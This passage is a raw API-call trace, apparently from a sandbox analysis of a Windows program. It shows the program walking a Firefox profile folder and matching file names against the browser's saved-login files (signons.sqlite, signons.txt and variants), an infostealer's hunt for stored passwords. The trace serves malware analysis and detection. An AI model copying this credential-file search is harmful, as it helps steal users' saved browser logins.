lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*" [0070.988] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*", lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0x6426e8 [0070.988] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.988] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0070.988] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.988] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.988] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0070.988] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0070.988] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0070.988] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0070.988] lstrlenA (lpString="\\") returned 1 [0070.988] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x65b428 [0070.988] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.988] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0070.988] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned 85 [0070.988] lstrlenA (lpString="moz-safe-about+home") returned 19 [0070.988] LocalAlloc (uFlags=0x40, uBytes=0xe9) returned 0x65e448 [0070.988] lstrcpyA (in: lpString1=0x65e448, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0070.988] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.988] LocalFree (hMem=0x65b428) returned 0x0 [0070.988] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0070.988] lstrlenA (lpString="\\*.*") returned 4 [0070.988] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e638 [0070.988] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.988] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*" [0070.988] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0x12f8a6 | out: lpFindFileData=0x12f8a6) returned 0x642728 [0070.988] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.988] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8a6 | out: lpFindFileData=0x12f8a6) returned 1 [0070.989] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.989] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.989] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8a6 | out: lpFindFileData=0x12f8a6) returned 1 [0070.989] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0070.989] lstrlenA (lpString=".metadata") returned 9 [0070.989] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0070.989] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0070.989] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0070.989] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8a6 | out: lpFindFileData=0x12f8a6) returned 1 [0070.989] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0070.989] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0070.989] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0070.989] lstrlenA (lpString="\\") returned 1 [0070.989] LocalAlloc (uFlags=0x40, uBytes=0xea) returned 0x65e540 [0070.989] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.989] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0070.989] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned 105 [0070.989] lstrlenA (lpString="idb") returned 3 [0070.989] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e730 [0070.989] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0070.989] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.989] LocalFree (hMem=0x65e540) returned 0x0 [0070.989] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0070.989] lstrlenA (lpString="\\*.*") returned 4 [0070.989] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x65d330 [0070.989] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.989] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0070.989] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0x12f73e | out: lpFindFileData=0x12f73e) returned 0x642768 [0070.989] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.989] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f73e | out: lpFindFileData=0x12f73e) returned 1 [0070.989] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.989] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.989] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f73e | out: lpFindFileData=0x12f73e) returned 1 [0070.989] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0070.989] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0070.989] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0070.989] lstrlenA (lpString="\\") returned 1 [0070.989] LocalAlloc (uFlags=0x40, uBytes=0xee) returned 0x65e540 [0070.989] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.989] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0070.989] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 109 [0070.989] lstrlenA (lpString="818200132aebmoouht") returned 18 [0070.989] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x626a88 [0070.989] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0070.989] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0070.990] LocalFree (hMem=0x65e540) returned 0x0 [0070.990] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 127 [0070.990] lstrlenA (lpString="\\*.*") returned 4 [0070.990] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x65d670 [0070.990] lstrcpyA (in: lpString1=0x65d670, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0070.990] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0070.990] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0x12f5d6 | out: lpFindFileData=0x12f5d6) returned 0x6427a8 [0070.990] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.990] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5d6 | out: lpFindFileData=0x12f5d6) returned 1 [0070.990] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.990] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.990] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5d6 | out: lpFindFileData=0x12f5d6) returned 0 [0070.990] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0070.990] LocalFree (hMem=0x65d670) returned 0x0 [0070.990] LocalFree (hMem=0x626a88) returned 0x0 [0070.990] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f73e | out: lpFindFileData=0x12f73e) returned 1 [0070.990] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.990] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0070.990] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0070.990] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.990] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.990] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f73e | out: lpFindFileData=0x12f73e) returned 0 [0070.990] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.990] LocalFree (hMem=0x65d330) returned 0x0 [0070.990] LocalFree (hMem=0x65e730) returned 0x0 [0070.990] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8a6 | out: lpFindFileData=0x12f8a6) returned 0 [0070.990] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0070.991] LocalFree (hMem=0x65e638) returned 0x0 [0070.991] LocalFree (hMem=0x65e448) returned 0x0 [0070.991] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0 [0070.991] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.991] LocalFree (hMem=0x641518) returned 0x0 [0070.991] LocalFree (hMem=0x65b348) returned 0x0 [0070.991] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.991] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0070.991] lstrlenA (lpString="key3.db") returned 7 [0070.991] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0070.991] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0070.991] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0070.991] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.991] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0070.991] lstrlenA (lpString="localstore.rdf") returned 14 [0070.991] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0070.991] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0070.991] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0070.991] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.991] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0070.991] lstrlenA (lpString="marionette.log") returned 14 [0070.991] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0070.991] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0070.991] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0070.991] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.991] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0070.991] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0070.991] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0070.991] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0070.991] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0070.991] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.991] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0070.991] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0070.991] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.991] lstrlenA (lpString="\\") returned 1 [0070.991] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.991] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.991] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.991] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.991] lstrlenA (lpString="minidumps") returned 9 [0070.991] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0070.991] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.991] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0070.991] LocalFree (hMem=0x6275a8) returned 0x0 [0070.991] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned 84 [0070.991] lstrlenA (lpString="\\*.*") returned 4 [0070.991] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x641518 [0070.991] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0070.991] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*" [0070.992] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*", lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0x6426e8 [0070.992] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.992] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0070.992] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.992] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.992] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0 [0070.992] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.992] LocalFree (hMem=0x641518) returned 0x0 [0070.992] LocalFree (hMem=0x65b348) returned 0x0 [0070.992] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.992] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0070.992] lstrlenA (lpString="parent.lock") returned 11 [0070.992] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0070.992] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0070.992] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0070.992] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.992] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.992] lstrlenA (lpString="permissions.sqlite") returned 18 [0070.992] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0070.992] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.992] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.992] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.992] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.992] lstrlenA (lpString="places.sqlite") returned 13 [0070.992] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0070.992] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.992] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.992] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.992] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0070.992] lstrlenA (lpString="pluginreg.dat") returned 13 [0070.992] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0070.992] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0070.992] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0070.992] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.992] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0070.992] lstrlenA (lpString="prefs.js") returned 8 [0070.992] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0070.992] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0070.993] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0070.993] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.993] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0070.993] lstrlenA (lpString="search.json") returned 11 [0070.993] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0070.993] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0070.993] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0070.993] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.993] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0070.993] lstrlenA (lpString="secmod.db") returned 9 [0070.993] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0070.993] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0070.993] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0070.993] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.993] StrStrIA 